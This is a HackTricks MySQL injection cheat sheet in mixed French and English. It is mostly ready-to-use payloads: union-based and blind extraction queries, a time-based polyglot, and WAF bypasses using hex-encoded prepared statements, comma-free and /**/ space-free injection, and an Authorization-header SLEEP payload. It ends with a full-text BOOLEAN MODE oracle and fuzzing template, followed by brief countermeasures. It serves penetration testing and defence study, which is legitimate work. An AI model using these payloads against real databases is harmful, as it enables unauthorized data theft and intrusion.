MySQL injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Commentaires

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Fonctions intéressantes

Confirmer Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Fonctions utiles

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Toutes les injections

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

tiré de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flux

Rappelez-vous que dans les versions “modernes” de MySQL vous pouvez remplacer “mysql.innodb_table_stats par “information_schema.tables” (Cela peut être utile pour contourner les WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Only 1 value

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detect number of columns

En utilisant un simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Découvrez ici différentes options pour abuse a Mysql injection to obtain a SSRF.

Astuces pour contourner le WAF

Exécution de requêtes via Prepared Statements

Lorsque les stacked queries sont autorisées, il peut être possible de contourner les WAFs en assignant à une variable la représentation hexadécimale de la requête que vous voulez exécuter (en utilisant SET), puis en utilisant les instructions PREPARE et EXECUTE de MySQL pour finalement exécuter la requête. Quelque chose comme ceci:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Pour plus d’informations, consultez this blog post.

Alternatives à information_schema

Souvenez-vous que dans les versions « modernes » de MySQL, vous pouvez remplacer information_schema.tables par mysql.innodb_table_stats ou par sys.x$schema_flattened_keys ou par sys.schema_table_statistics

MySQLinjection sans COMMAS

Sélectionner 2 colonnes sans utiliser de virgule (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Récupérer des valeurs sans le nom de la colonne

Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas les noms des colonnes à l’intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supposons qu’il y ait 2 colonnes (la première étant l’ID) et que l’autre soit le flag, vous pouvez faire un bruteforce du contenu du flag en testant caractère par caractère:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Plus d’infos sur https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection sans espaces (/**/ astuce de commentaire)

Certaines applications nettoient ou analysent l’entrée utilisateur avec des fonctions telles que sscanf("%128s", buf) qui s’arrêtent au premier caractère d’espace. Parce que MySQL traite la séquence /**/ comme un commentaire et comme un espace blanc, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.

Exemple de time-based blind injection contournant le filtre d’espaces :

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Que la base de données reçoit comme :

' OR SLEEP(5)-- -'

Ceci est particulièrement utile lorsque :

  • Le buffer contrôlable est restreint en taille (par ex. %128s) et les espaces termineraient prématurément l’entrée.
  • Injection via les en-têtes HTTP ou d’autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
  • Combiné avec les primitives INTO OUTFILE pour atteindre une full pre-auth RCE (voir la section MySQL File RCE).

Historique MySQL

Vous pouvez voir d’autres exécutions dans MySQL en lisant la table : sys.x$statement_analysis

Version alternatives

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Abus des opérateurs de MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR)

Il ne s’agit pas d’une SQL injection classique. Quand les développeurs passent une entrée utilisateur dans MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL exécute un ensemble riche d’opérateurs de recherche booléenne à l’intérieur de la chaîne entre guillemets. Beaucoup de règles WAF/SAST se concentrent uniquement sur la rupture des guillemets et manquent cette surface d’attaque.

Key points:

  • Les opérateurs sont évalués à l’intérieur des guillemets : + (doit inclure), - (ne doit pas inclure), * (wildcard suffixe), "..." (phrase exacte), () (groupement), </>/~ (poids). Voir la doc MySQL.
  • Cela permet des tests de présence/absence et de préfixe sans sortir du littéral de chaîne, par ex. AGAINST('+admin*' IN BOOLEAN MODE) pour vérifier tout terme commençant par admin.
  • Utile pour construire des oracles tels que « est-ce qu’une ligne contient un terme avec le préfixe X ? » et pour énumérer des chaînes cachées via l’expansion de préfixe.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as titres cachés/supprimés.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: si le backend supprime 1–2 caractères finaux par mot via un regex comme (\b.{1,2})(\s)|(\b.{1,2}$), soumettez prefix*ZZ. Le cleaner supprime les ZZ mais laisse le *, donc prefix* survit.
  • Early-break stripping: si le code retire les opérateurs mot par mot mais arrête le traitement lorsqu’il trouve un token de longueur ≥ min length, envoyez deux tokens : le premier est un junk token qui atteint le seuil de longueur, le second porte l’operator payload. Par exemple: &&&&& +jack*ZZ → après nettoyage: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 est &, %2B est +. Le suffixe xD (ou n’importe quelles deux lettres) est tronqué par le cleaner, en préservant {FUZZ}*.
  • Considérez un redirect comme “match” et une page d’erreur comme “no match”. Ne suivez pas automatiquement les redirects pour garder l’oracle observable.

Flux d’énumération:

  1. Commencez avec {FUZZ} = a…z,0…9 pour trouver les correspondances de première lettre via +a*, +b*, …
  2. Pour chaque préfixe positif, branchez-vous : a* → aa* / ab* / …. Répétez pour récupérer la chaîne entière.
  3. Distribuez les requêtes (proxies, comptes multiples) si l’app impose du flood control.

Pourquoi les titres leak souvent alors que les contenus ne le font pas:

  • Certaines apps n’appliquent les vérifications de visibility qu’après un MATCH préliminaire sur les titres/sujets. Si le control-flow dépend du résultat «any results?» avant filtrage, des existence leaks se produisent.

Contre-mesures:

  • Si vous n’avez pas besoin du Boolean logic, utilisez IN NATURAL LANGUAGE MODE ou traitez l’entrée utilisateur comme un littéral (escape/quote désactive les opérateurs dans les autres modes).
  • Si Boolean mode est requis, supprimez ou neutralisez tous les Boolean operators (+ - * " ( ) < > ~) pour chaque token (pas d’early breaks) après tokenization.
  • Appliquez les filtres visibility/authorization avant MATCH, ou unifiez les réponses (timing/status constants) lorsque le result set est empty vs. non-empty.
  • Vérifiez les fonctionnalités analogues dans d’autres DBMS : PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS analysent aussi les opérateurs à l’intérieur d’arguments entre guillemets.

Remarques:

  • Les prepared statements ne protègent pas contre l’abus sémantique de REGEXP ou des search operators. Une entrée comme .* reste une regex permissive même à l’intérieur d’un REGEXP '.*' entre guillemets. Utilisez des allow-lists ou des gardes explicites.

Other MYSQL injection guides

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks